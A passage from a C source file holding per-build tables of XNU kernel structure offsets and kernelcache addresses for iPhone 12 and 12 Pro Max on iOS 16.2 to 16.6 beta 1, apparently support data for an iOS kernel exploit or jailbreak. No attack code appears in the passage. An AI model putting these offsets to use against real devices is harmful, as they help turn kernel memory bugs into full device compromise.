0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff0078500c8,\n        .kernelcache__gPhysSize = 0xfffffff0078500c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784e2a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed41c4,\n        .kernelcache__ptov_table = 0xfffffff007803378,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff007800090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802328,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26780,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a49d288,\n        .kernelcache__gPhysBase = 0xfffffff007930100,\n        .kernelcache__gPhysSize = 0xfffffff007930100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4db520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef484c,\n        .kernelcache__ptov_table = 0xfffffff0078e3188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4da990,\n        .kernelcache__vm_pages = 0xfffffff0078dfeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4da988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f439d0,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a545ab0,\n        .kernelcache__gPhysBase = 0xfffffff0079442a8,\n        .kernelcache__gPhysSize = 0xfffffff0079442a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942460,\n        .kernelcache__perfmon_devices = 0xfffffff00a585550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1508c,\n        .kernelcache__ptov_table = 0xfffffff0078f79c8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910,\n        .kernelcache__vm_pages = 0xfffffff0078f4108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f63be0,\n    },\n // End iPhone 12 Pro Max //\n // Start iPhone 12 //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff0078500c8,\n        .kernelcache__gPhysSize = 0xfffffff0078500c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784e2a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed41c4,\n        .kernelcache__ptov_table = 0xfffffff007803378,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff007800090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802328,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26780,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        